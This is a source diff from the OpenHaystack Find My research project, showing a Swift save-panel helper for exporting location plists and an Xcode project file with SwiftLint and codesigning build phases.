completion(data);
}];
}
@end

View File

@@ -0,0 +1,50 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import AppKit
import Foundation
class SavePanel: NSObject, NSOpenSavePanelDelegate {
static let shared = SavePanel()
var fileToSave: Data?
var fileExtension: String?
var panel: NSSavePanel?
func saveFile(file: Data, fileExtension: String) {
self.fileToSave = file
self.fileExtension = fileExtension
self.panel = NSSavePanel()
self.panel?.delegate = self
self.panel?.title = "Export Find My Locations"
self.panel?.prompt = "Export"
self.panel?.nameFieldLabel = "Find My Locations"
self.panel?.nameFieldStringValue = "findMyLocations.plist"
self.panel?.allowedFileTypes = ["plist"]
let result = self.panel?.runModal()
if result == NSApplication.ModalResponse.OK {
// Save file
let fileURL = self.panel?.url
try! self.fileToSave?.write(to: fileURL!)
}
}
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String?
{
guard okFlag else { return nil }
return filename
}
}

View File

@@ -0,0 +1,753 @@
// !$*UTF8*$!
{
archiveVersion = 1;
classes = {
};
objectVersion = 52;
objects = {
/* Begin PBXAggregateTarget section */
782AC6C425F0E2D200554BF4 /* Run OFFetchReports */ = {
isa = PBXAggregateTarget;
buildConfigurationList = 782AC6C525F0E2D200554BF4 /* Build configuration list for PBXAggregateTarget "Run OFFetchReports" */;
buildPhases = (
782AC6C825F0E2DC00554BF4 /* Codesign App with Entitlements */,
);
dependencies = (
782AC6CA25F0E2EB00554BF4 /* PBXTargetDependency */,
);
name = "Run OFFetchReports";
productName = "Run OFFetchReports";
};
/* End PBXAggregateTarget section */
/* Begin PBXBuildFile section */
78097EC7248E27E700096FCA /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78097EC6248E27E700096FCA /* AppDelegate.swift */; };
78097EC9248E27E700096FCA /* ContentView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78097EC8248E27E700096FCA /* ContentView.swift */; };
78097ECB248E27E800096FCA /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78097ECA248E27E800096FCA /* Assets.xcassets */; };
78097ECE248E27E800096FCA /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78097ECD248E27E800096FCA /* Preview Assets.xcassets */; };
78097ED1248E27E800096FCA /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 78097ECF248E27E800096FCA /* Main.storyboard */; };
781FD99025EE4F5400C745C9 /* FindMyKeyExtractor.swift in Sources */ = {isa = PBXBuildFile; fileRef = 781FD98F25EE4F5400C745C9 /* FindMyKeyExtractor.swift */; };
782AC6A125F0DF3000554BF4 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6A025F0DF3000554BF4 /* AppDelegate.swift */; };
782AC6A525F0DF3100554BF4 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 782AC6A425F0DF3100554BF4 /* Assets.xcassets */; };
782AC6A825F0DF3100554BF4 /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 782AC6A725F0DF3100554BF4 /* Preview Assets.xcassets */; };
782AC6AB25F0DF3100554BF4 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 782AC6A925F0DF3100554BF4 /* Main.storyboard */; };
782AC6B325F0DF7C00554BF4 /* OFFetchReportsMainView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6B125F0DF7C00554BF4 /* OFFetchReportsMainView.swift */; };
782AC6B425F0DF7C00554BF4 /* MapView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6B225F0DF7C00554BF4 /* MapView.swift */; };
782AC6BA25F0DFF200554BF4 /* SavePanel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6B625F0DFF200554BF4 /* SavePanel.swift */; };
782AC6BB25F0DFF200554BF4 /* MapViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6B725F0DFF200554BF4 /* MapViewController.swift */; };
782AC6BC25F0DFF200554BF4 /* MapViewController.xib in Resources */ = {isa = PBXBuildFile; fileRef = 782AC6B825F0DFF200554BF4 /* MapViewController.xib */; };
782AC6C125F0E02200554BF4 /* BoringSSL.m in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6BF25F0E02200554BF4 /* BoringSSL.m */; };
782AC6D125F0E3F600554BF4 /* DecryptReports.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6CD25F0E3F600554BF4 /* DecryptReports.swift */; };
782AC6D225F0E3F600554BF4 /* FindMyKeyDecoder.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6CE25F0E3F600554BF4 /* FindMyKeyDecoder.swift */; };
782AC6D325F0E3F600554BF4 /* FindMyController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6CF25F0E3F600554BF4 /* FindMyController.swift */; };
782AC6D425F0E3F600554BF4 /* Models.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6D025F0E3F600554BF4 /* Models.swift */; };
782AC6D825F0E3FE00554BF4 /* ReportsFetcher.m in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6D725F0E3FE00554BF4 /* ReportsFetcher.m */; };
782AC6DB25F0E4C800554BF4 /* NIOSSL in Frameworks */ = {isa = PBXBuildFile; productRef = 782AC6DA25F0E4C800554BF4 /* NIOSSL */; };
782AC6DE25F0E4D900554BF4 /* Crypto in Frameworks */ = {isa = PBXBuildFile; productRef = 782AC6DD25F0E4D900554BF4 /* Crypto */; };
7840717F25EE41E5005729F0 /* FindMyKeyDecoder.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7840717E25EE41E5005729F0 /* FindMyKeyDecoder.swift */; };
78DF8995248E5E71002F39E1 /* FindMyModels.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78DF8994248E5E71002F39E1 /* FindMyModels.swift */; };
78DF899B248E7D8D002F39E1 /* SavePanel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78DF899A248E7D8D002F39E1 /* SavePanel.swift */; };
/* End PBXBuildFile section */
/* Begin PBXContainerItemProxy section */
782AC6C925F0E2EB00554BF4 /* PBXContainerItemProxy */ = {
isa = PBXContainerItemProxy;
containerPortal = 78097EBB248E27E700096FCA /* Project object */;
proxyType = 1;
remoteGlobalIDString = 782AC69D25F0DF3000554BF4;
remoteInfo = OFFetchReports;
};
/* End PBXContainerItemProxy section */
/* Begin PBXFileReference section */
78097EC3248E27E700096FCA /* OFReadKeys.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = OFReadKeys.app; sourceTree = BUILT_PRODUCTS_DIR; };
78097EC6248E27E700096FCA /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = "<group>"; };
78097EC8248E27E700096FCA /* ContentView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ContentView.swift; sourceTree = "<group>"; };
78097ECA248E27E800096FCA /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
78097ECD248E27E800096FCA /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = "Preview Assets.xcassets"; sourceTree = "<group>"; };
78097ED0248E27E800096FCA /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; };
78097ED2248E27E800096FCA /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
78097ED3248E27E800096FCA /* OFReadKeys.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = OFReadKeys.entitlements; sourceTree = "<group>"; };
781FD98F25EE4F5400C745C9 /* FindMyKeyExtractor.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FindMyKeyExtractor.swift; sourceTree = "<group>"; };
782AC69E25F0DF3000554BF4 /* OFFetchReports.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = OFFetchReports.app; sourceTree = BUILT_PRODUCTS_DIR; };
782AC6A025F0DF3000554BF4 /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = "<group>"; };
782AC6A425F0DF3100554BF4 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
782AC6A725F0DF3100554BF4 /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = "Preview Assets.xcassets"; sourceTree = "<group>"; };
782AC6AA25F0DF3100554BF4 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; };
782AC6AC25F0DF3100554BF4 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
782AC6B125F0DF7C00554BF4 /* OFFetchReportsMainView.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = OFFetchReportsMainView.swift; sourceTree = "<group>"; };
782AC6B225F0DF7C00554BF4 /* MapView.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = MapView.swift; sourceTree = "<group>"; };
782AC6B525F0DFF200554BF4 /* OFFetchReports.entitlements */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.entitlements; path = OFFetchReports.entitlements; sourceTree = "<group>"; };
782AC6B625F0DFF200554BF4 /* SavePanel.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = SavePanel.swift; sourceTree = "<group>"; };
782AC6B725F0DFF200554BF4 /* MapViewController.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = MapViewController.swift; sourceTree = "<group>"; };
782AC6B825F0DFF200554BF4 /* MapViewController.xib */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = file.xib; path = MapViewController.xib; sourceTree = "<group>"; };
782AC6BF25F0E02200554BF4 /* BoringSSL.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = BoringSSL.m; sourceTree = "<group>"; };
782AC6C025F0E02200554BF4 /* BoringSSL.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = BoringSSL.h; sourceTree = "<group>"; };
782AC6C225F0E07200554BF4 /* Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "Bridging-Header.h"; sourceTree = "<group>"; };
782AC6CB25F0E33000554BF4 /* .swiftlint.yml */ = {isa = PBXFileReference; lastKnownFileType = text.yaml; path = .swiftlint.yml; sourceTree = "<group>"; };
782AC6CD25F0E3F600554BF4 /* DecryptReports.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = DecryptReports.swift; sourceTree = "<group>"; };
782AC6CE25F0E3F600554BF4 /* FindMyKeyDecoder.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = FindMyKeyDecoder.swift; sourceTree = "<group>"; };
782AC6CF25F0E3F600554BF4 /* FindMyController.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = FindMyController.swift; sourceTree = "<group>"; };
782AC6D025F0E3F600554BF4 /* Models.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = Models.swift; sourceTree = "<group>"; };
782AC6D625F0E3FE00554BF4 /* ReportsFetcher.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ReportsFetcher.h; sourceTree = "<group>"; };
782AC6D725F0E3FE00554BF4 /* ReportsFetcher.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = ReportsFetcher.m; sourceTree = "<group>"; };
7840717E25EE41E5005729F0 /* FindMyKeyDecoder.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; name = FindMyKeyDecoder.swift; path = ../../../OpenHaystack/OpenHaystack/FindMy/FindMyKeyDecoder.swift; sourceTree = "<group>"; };
78DF8994248E5E71002F39E1 /* FindMyModels.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FindMyModels.swift; sourceTree = "<group>"; };
78DF899A248E7D8D002F39E1 /* SavePanel.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SavePanel.swift; sourceTree = "<group>"; };
/* End PBXFileReference section */
/* Begin PBXFrameworksBuildPhase section */
78097EC0248E27E700096FCA /* Frameworks */ = {
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
);
runOnlyForDeploymentPostprocessing = 0;
};
782AC69B25F0DF3000554BF4 /* Frameworks */ = {
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
782AC6DB25F0E4C800554BF4 /* NIOSSL in Frameworks */,
782AC6DE25F0E4D900554BF4 /* Crypto in Frameworks */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXFrameworksBuildPhase section */
/* Begin PBXGroup section */
78097EBA248E27E700096FCA = {
isa = PBXGroup;
children = (
782AC6CB25F0E33000554BF4 /* .swiftlint.yml */,
78097EC5248E27E700096FCA /* OFReadKeys */,
782AC69F25F0DF3000554BF4 /* OFFetchReports */,
78097EC4248E27E700096FCA /* Products */,
);
sourceTree = "<group>";
};
78097EC4248E27E700096FCA /* Products */ = {
isa = PBXGroup;
children = (
78097EC3248E27E700096FCA /* OFReadKeys.app */,
782AC69E25F0DF3000554BF4 /* OFFetchReports.app */,
);
name = Products;
sourceTree = "<group>";
};
78097EC5248E27E700096FCA /* OFReadKeys */ = {
isa = PBXGroup;
children = (
78097EC6248E27E700096FCA /* AppDelegate.swift */,
78097EC8248E27E700096FCA /* ContentView.swift */,
7840717E25EE41E5005729F0 /* FindMyKeyDecoder.swift */,
78DF8994248E5E71002F39E1 /* FindMyModels.swift */,
781FD98F25EE4F5400C745C9 /* FindMyKeyExtractor.swift */,
78DF899A248E7D8D002F39E1 /* SavePanel.swift */,
78097ECA248E27E800096FCA /* Assets.xcassets */,
78097ECF248E27E800096FCA /* Main.storyboard */,
78097ED2248E27E800096FCA /* Info.plist */,
78097ED3248E27E800096FCA /* OFReadKeys.entitlements */,
78097ECC248E27E800096FCA /* Preview Content */,
);
path = OFReadKeys;
sourceTree = "<group>";
};
78097ECC248E27E800096FCA /* Preview Content */ = {
isa = PBXGroup;
children = (
78097ECD248E27E800096FCA /* Preview Assets.xcassets */,
);
path = "Preview Content";
sourceTree = "<group>";
};
782AC69F25F0DF3000554BF4 /* OFFetchReports */ = {
isa = PBXGroup;
children = (
782AC6CC25F0E3F600554BF4 /* FindMy */,
782AC6BE25F0E02200554BF4 /* BoringSSL */,
782AC6B225F0DF7C00554BF4 /* MapView.swift */,
782AC6B125F0DF7C00554BF4 /* OFFetchReportsMainView.swift */,
782AC6A025F0DF3000554BF4 /* AppDelegate.swift */,
782AC6B725F0DFF200554BF4 /* MapViewController.swift */,
782AC6B825F0DFF200554BF4 /* MapViewController.xib */,
782AC6B525F0DFF200554BF4 /* OFFetchReports.entitlements */,
782AC6B625F0DFF200554BF4 /* SavePanel.swift */,
782AC6A425F0DF3100554BF4 /* Assets.xcassets */,
782AC6A925F0DF3100554BF4 /* Main.storyboard */,
782AC6AC25F0DF3100554BF4 /* Info.plist */,
782AC6A625F0DF3100554BF4 /* Preview Content */,
);
path = OFFetchReports;
sourceTree = "<group>";
};
782AC6A625F0DF3100554BF4 /* Preview Content */ = {
isa = PBXGroup;
children = (
782AC6A725F0DF3100554BF4 /* Preview Assets.xcassets */,
);
path = "Preview Content";
sourceTree = "<group>";
};
782AC6BE25F0E02200554BF4 /* BoringSSL */ = {
isa = PBXGroup;
children = (
782AC6BF25F0E02200554BF4 /* BoringSSL.m */,
782AC6C025F0E02200554BF4 /* BoringSSL.h */,
782AC6C225F0E07200554BF4 /* Bridging-Header.h */,
);
path = BoringSSL;
sourceTree = "<group>";
};
782AC6CC25F0E3F600554BF4 /* FindMy */ = {
isa = PBXGroup;
children = (
782AC6D525F0E3FE00554BF4 /* ReportsFetcher */,
782AC6CD25F0E3F600554BF4 /* DecryptReports.swift */,
782AC6CE25F0E3F600554BF4 /* FindMyKeyDecoder.swift */,
782AC6CF25F0E3F600554BF4 /* FindMyController.swift */,
782AC6D025F0E3F600554BF4 /* Models.swift */,
);
path = FindMy;
sourceTree = "<group>";
};
782AC6D525F0E3FE00554BF4 /* ReportsFetcher */ = {
isa = PBXGroup;
children = (
782AC6D625F0E3FE00554BF4 /* ReportsFetcher.h */,
782AC6D725F0E3FE00554BF4 /* ReportsFetcher.m */,
);
name = ReportsFetcher;
path = OFFetchReports/ReportsFetcher;
sourceTree = SOURCE_ROOT;
};
/* End PBXGroup section */
/* Begin PBXNativeTarget section */
78097EC2248E27E700096FCA /* OFReadKeys */ = {
isa = PBXNativeTarget;
buildConfigurationList = 78097ED6248E27E800096FCA /* Build configuration list for PBXNativeTarget "OFReadKeys" */;
buildPhases = (
78097EBF248E27E700096FCA /* Sources */,
78097EC0248E27E700096FCA /* Frameworks */,
78097EC1248E27E700096FCA /* Resources */,
78FFC97C25EE98680062F878 /* SwiftLint */,
);
buildRules = (
);
dependencies = (
);
name = OFReadKeys;
productName = Read_FindMy_Keys;
productReference = 78097EC3248E27E700096FCA /* OFReadKeys.app */;
productType = "com.apple.product-type.application";
};
782AC69D25F0DF3000554BF4 /* OFFetchReports */ = {
isa = PBXNativeTarget;
buildConfigurationList = 782AC6B025F0DF3100554BF4 /* Build configuration list for PBXNativeTarget "OFFetchReports" */;
buildPhases = (
782AC69A25F0DF3000554BF4 /* Sources */,
782AC69B25F0DF3000554BF4 /* Frameworks */,
782AC69C25F0DF3000554BF4 /* Resources */,
782AC6C325F0E2A300554BF4 /* SwiftLint */,
);
buildRules = (
);
dependencies = (
);
name = OFFetchReports;
packageProductDependencies = (
782AC6DA25F0E4C800554BF4 /* NIOSSL */,
782AC6DD25F0E4D900554BF4 /* Crypto */,
);
productName = OFFetchReports;
productReference = 782AC69E25F0DF3000554BF4 /* OFFetchReports.app */;
productType = "com.apple.product-type.application";
};
/* End PBXNativeTarget section */
/* Begin PBXProject section */
78097EBB248E27E700096FCA /* Project object */ = {
isa = PBXProject;
attributes = {
LastSwiftUpdateCheck = 1250;
LastUpgradeCheck = 1150;
ORGANIZATIONNAME = "SEEMOO - TU Darmstadt";
TargetAttributes = {
78097EC2248E27E700096FCA = {
CreatedOnToolsVersion = 11.5;
};
782AC69D25F0DF3000554BF4 = {
CreatedOnToolsVersion = 12.5;
};
782AC6C425F0E2D200554BF4 = {
CreatedOnToolsVersion = 12.5;
};
};
};
buildConfigurationList = 78097EBE248E27E700096FCA /* Build configuration list for PBXProject "OFReadKeys" */;
compatibilityVersion = "Xcode 9.3";
developmentRegion = en;
hasScannedForEncodings = 0;
knownRegions = (
en,
Base,
);
mainGroup = 78097EBA248E27E700096FCA;
packageReferences = (
782AC6D925F0E4C800554BF4 /* XCRemoteSwiftPackageReference "swift-nio-ssl" */,
782AC6DC25F0E4D900554BF4 /* XCRemoteSwiftPackageReference "swift-crypto" */,
);
productRefGroup = 78097EC4248E27E700096FCA /* Products */;
projectDirPath = "";
projectRoot = "";
targets = (
78097EC2248E27E700096FCA /* OFReadKeys */,
782AC69D25F0DF3000554BF4 /* OFFetchReports */,
782AC6C425F0E2D200554BF4 /* Run OFFetchReports */,
);
};
/* End PBXProject section */
/* Begin PBXResourcesBuildPhase section */
78097EC1248E27E700096FCA /* Resources */ = {
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
78097ED1248E27E800096FCA /* Main.storyboard in Resources */,
78097ECE248E27E800096FCA /* Preview Assets.xcassets in Resources */,
78097ECB248E27E800096FCA /* Assets.xcassets in Resources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
782AC69C25F0DF3000554BF4 /* Resources */ = {
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
782AC6AB25F0DF3100554BF4 /* Main.storyboard in Resources */,
782AC6A825F0DF3100554BF4 /* Preview Assets.xcassets in Resources */,
782AC6A525F0DF3100554BF4 /* Assets.xcassets in Resources */,
782AC6BC25F0DFF200554BF4 /* MapViewController.xib in Resources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXResourcesBuildPhase section */
/* Begin PBXShellScriptBuildPhase section */
782AC6C325F0E2A300554BF4 /* SwiftLint */ = {
isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647;
files = (
);
inputFileListPaths = (
);
inputPaths = (
);
name = SwiftLint;
outputFileListPaths = (
);
outputPaths = (
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "if which swiftlint >/dev/null; then\n swiftlint autocorrect && swiftlint\nelse\n echo \"warning: SwiftLint not installed, download from https://github.com/realm/SwiftLint\"\nfi\n";
};
782AC6C825F0E2DC00554BF4 /* Codesign App with Entitlements */ = {
isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647;
files = (
);
inputFileListPaths = (
);
inputPaths = (
);
name = "Codesign App with Entitlements";
outputFileListPaths = (
);
outputPaths = (
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "#bin/sh\nidentities=$(security find-identity -p codesigning -v)\n#echo \"${identities}\"\npat=' ([0-9ABCDEF]+) '\n[[ $identities =~ $pat ]]\n# Can be set to a codesign identity manually\nIDT=\"${BASH_REMATCH[1]}\"\nif [ -z ${IDT+x} ]; then\n echo \"error: Please set the codesigning identity above. \\nThe identity can be found with $ security find-identities -v -p codesigning\"\nelse\n codesign --entitlements ${SRCROOT}/OFFetchReports/OFFetchReports.entitlements -fs ${IDT} ${TARGET_BUILD_DIR}/OFFetchReports.app/Contents/MacOS/OFFetchReports\n echo \"warning: This app will only run on macOS systems with SIP & AMFI disabled. This should only be done on dedicated test systems\"\nfi\n";
};
78FFC97C25EE98680062F878 /* SwiftLint */ = {
isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647;
files = (
);
inputFileListPaths = (
);
inputPaths = (
);
name = SwiftLint;
outputFileListPaths = (
);
outputPaths = (
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "# Type a script or drag a script file from your workspace to insert its path.\nif which swiftlint >/dev/null; then\n swiftlint autocorrect && swiftlint\nelse\n echo \"warning: SwiftLint not installed, download from https://github.com/realm/SwiftLint\"\nfi\n";
};
/* End PBXShellScriptBuildPhase section */
/* Begin PBXSourcesBuildPhase section */
78097EBF248E27E700096FCA /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
78DF8995248E5E71002F39E1 /* FindMyModels.swift in Sources */,
78DF899B248E7D8D002F39E1 /* SavePanel.swift in Sources */,
78097EC9248E27E700096FCA /* ContentView.swift in Sources */,
781FD99025EE4F5400C745C9 /* FindMyKeyExtractor.swift in Sources */,
78097EC7248E27E700096FCA /* AppDelegate.swift in Sources */,
7840717F25EE41E5005729F0 /* FindMyKeyDecoder.swift in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
782AC69A25F0DF3000554BF4 /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
782AC6D125F0E3F600554BF4 /* DecryptReports.swift in Sources */,
782AC6B325F0DF7C00554BF4 /* OFFetchReportsMainView.swift in Sources */,
782AC6D825F0E3FE00554BF4 /* ReportsFetcher.m in Sources */,
782AC6BB25F0DFF200554BF4 /* MapViewController.swift in Sources */,
782AC6B425F0DF7C00554BF4 /* MapView.swift in Sources */,
782AC6BA25F0DFF200554BF4 /* SavePanel.swift in Sources */,
782AC6A125F0DF3000554BF4 /* AppDelegate.swift in Sources */,
782AC6C125F0E02200554BF4 /* BoringSSL.m in Sources */,
782AC6D325F0E3F600554BF4 /* FindMyController.swift in Sources */,
782AC6D225F0E3F600554BF4 /* FindMyKeyDecoder.swift in Sources */,
782AC6D425F0E3F600554BF4 /* Models.swift in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXSourcesBuildPhase section */
/* Begin PBXTargetDependency section */
782AC6CA25F0E2EB00554BF4 /* PBXTargetDependency */ = {
isa = PBXTargetDependency;
target = 782AC69D25F0DF3000554BF4 /* OFFetchReports */;
targetProxy = 782AC6C925F0E2EB00554BF4 /* PBXContainerItemProxy */;
};
/* End PBXTargetDependency section */
/* Begin PBXVariantGroup section */
78097ECF248E27E800096FCA /* Main.storyboard */ = {
isa = PBXVariantGroup;
children = (
78097ED0248E27E800096FCA /* Base */,
);
name = Main.storyboard;
sourceTree = "<group>";
};
782AC6A925F0DF3100554BF4 /* Main.storyboard */ = {
isa = PBXVariantGroup;
children = (
782AC6AA25F0DF3100554BF4 /* Base */,
);
name = Main.storyboard;
sourceTree = "<group>";
};
/* End PBXVariantGroup section */
/* Begin XCBuildConfiguration section */
78097ED4248E27E800096FCA /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
CLANG_CXX_LIBRARY = "libc++";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
COPY_PHASE_STRIP = NO;
DEBUG_INFORMATION_FORMAT = dwarf;
ENABLE_STRICT_OBJC_MSGSEND = YES;
ENABLE_TESTABILITY = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_DYNAMIC_NO_PIC = NO;
GCC_NO_COMMON_BLOCKS = YES;
GCC_OPTIMIZATION_LEVEL = 0;
GCC_PREPROCESSOR_DEFINITIONS = (
"DEBUG=1",
"$(inherited)",
);
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
MACOSX_DEPLOYMENT_TARGET = 10.15;
MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
MTL_FAST_MATH = YES;
ONLY_ACTIVE_ARCH = YES;
SDKROOT = macosx;
SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG;
SWIFT_OPTIMIZATION_LEVEL = "-Onone";
};
name = Debug;
};
78097ED5248E27E800096FCA /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
CLANG_CXX_LIBRARY = "libc++";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
